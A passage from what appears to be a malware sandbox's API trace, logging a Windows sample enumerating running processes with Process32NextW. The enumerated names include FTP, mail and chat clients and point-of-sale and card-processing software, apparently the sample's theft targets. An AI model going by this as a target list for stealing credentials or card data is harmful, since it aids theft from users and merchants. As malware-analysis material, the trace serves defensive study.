szExeFile="svchost.exe")) returned 1 [0165.945] lstrlenW (lpString="svchost.exe") returned 11 [0165.945] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.946] lstrlenW (lpString="svchost.exe") returned 11 [0165.946] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.946] lstrlenW (lpString="svchost.exe") returned 11 [0165.946] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.947] lstrlenW (lpString="svchost.exe") returned 11 [0165.947] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.947] lstrlenW (lpString="svchost.exe") returned 11 [0165.947] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.947] lstrlenW (lpString="svchost.exe") returned 11 [0165.947] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.948] lstrlenW (lpString="audiodg.exe") returned 11 [0165.948] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0165.948] lstrlenW (lpString="sihost.exe") returned 10 [0165.948] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.949] lstrlenW (lpString="svchost.exe") returned 11 [0165.949] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.949] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.949] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0165.950] lstrlenW (lpString="explorer.exe") returned 12 [0165.950] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0165.950] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0165.950] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0165.950] lstrlenW (lpString="Memory Compression") returned 18 [0165.950] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0165.951] lstrlenW (lpString="SearchUI.exe") returned 12 [0165.951] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0165.951] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0165.951] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0165.952] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0165.952] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0165.952] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0165.952] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0165.953] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0165.953] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0165.953] lstrlenW (lpString="migration dying locations.exe") returned 29 [0165.953] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0165.953] lstrlenW (lpString="college-advance.exe") returned 19 [0165.953] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0165.954] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0165.954] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0165.954] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0165.954] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0165.955] lstrlenW (lpString="metallic.exe") returned 12 [0165.955] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0165.955] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0165.955] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0165.956] lstrlenW (lpString="brown parade bases.exe") returned 22 [0165.956] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0165.956] lstrlenW (lpString="specified wales.exe") returned 19 [0165.956] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0165.956] lstrlenW (lpString="inspiration.exe") returned 15 [0165.956] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0165.957] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0165.957] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0165.957] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0165.957] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0165.958] lstrlenW (lpString="classbuck.exe") returned 13 [0165.958] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0165.958] lstrlenW (lpString="x-deutschland.exe") returned 17 [0165.958] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0165.958] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0165.959] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0165.959] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0165.959] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0165.959] lstrlenW (lpString="lawsuit.exe") returned 11 [0165.959] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0165.960] lstrlenW (lpString="3dftp.exe") returned 9 [0165.960] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0165.960] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0165.960] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0165.961] lstrlenW (lpString="alftp.exe") returned 9 [0165.961] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0165.961] lstrlenW (lpString="barca.exe") returned 9 [0165.961] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0165.961] lstrlenW (lpString="bitkinex.exe") returned 12 [0165.962] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0165.962] lstrlenW (lpString="coreftp.exe") returned 11 [0165.962] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0165.963] lstrlenW (lpString="far.exe") returned 7 [0165.963] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0165.964] lstrlenW (lpString="filezilla.exe") returned 13 [0165.964] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0165.964] lstrlenW (lpString="flashfxp.exe") returned 12 [0165.964] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0165.965] lstrlenW (lpString="fling.exe") returned 9 [0165.965] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0165.966] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0165.966] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0165.979] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0165.980] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0165.980] lstrlenW (lpString="icq.exe") returned 7 [0165.980] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0165.981] lstrlenW (lpString="leechftp.exe") returned 12 [0165.981] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0165.982] lstrlenW (lpString="ncftp.exe") returned 9 [0165.982] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0165.983] lstrlenW (lpString="notepad.exe") returned 11 [0165.983] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0165.983] lstrlenW (lpString="operamail.exe") returned 13 [0165.983] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0165.984] lstrlenW (lpString="pidgin.exe") returned 10 [0165.984] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0165.985] lstrlenW (lpString="scriptftp.exe") returned 13 [0165.985] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0165.986] lstrlenW (lpString="skype.exe") returned 9 [0165.986] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0165.986] lstrlenW (lpString="smartftp.exe") returned 12 [0165.986] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0165.987] lstrlenW (lpString="thunderbird.exe") returned 15 [0165.987] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0165.988] lstrlenW (lpString="totalcmd.exe") returned 12 [0165.988] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0165.988] lstrlenW (lpString="trillian.exe") returned 12 [0165.988] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0165.989] lstrlenW (lpString="webdrive.exe") returned 12 [0165.989] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0165.990] lstrlenW (lpString="whatsapp.exe") returned 12 [0165.990] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0165.990] lstrlenW (lpString="winscp.exe") returned 10 [0165.990] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0165.991] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0165.991] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0165.992] lstrlenW (lpString="active-charge.exe") returned 17 [0165.992] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0165.992] lstrlenW (lpString="accupos.exe") returned 11 [0165.992] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0165.993] lstrlenW (lpString="afr38.exe") returned 9 [0165.993] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0165.993] lstrlenW (lpString="aldelo.exe") returned 10 [0165.994] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0165.994] lstrlenW (lpString="ccv_server.exe") returned 14 [0165.994] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0165.995] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0165.995] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0165.996] lstrlenW (lpString="creditservice.exe") returned 17 [0165.996] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0165.996] lstrlenW (lpString="edcsvr.exe") returned 10 [0165.996] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0165.997] lstrlenW (lpString="fpos.exe") returned 8 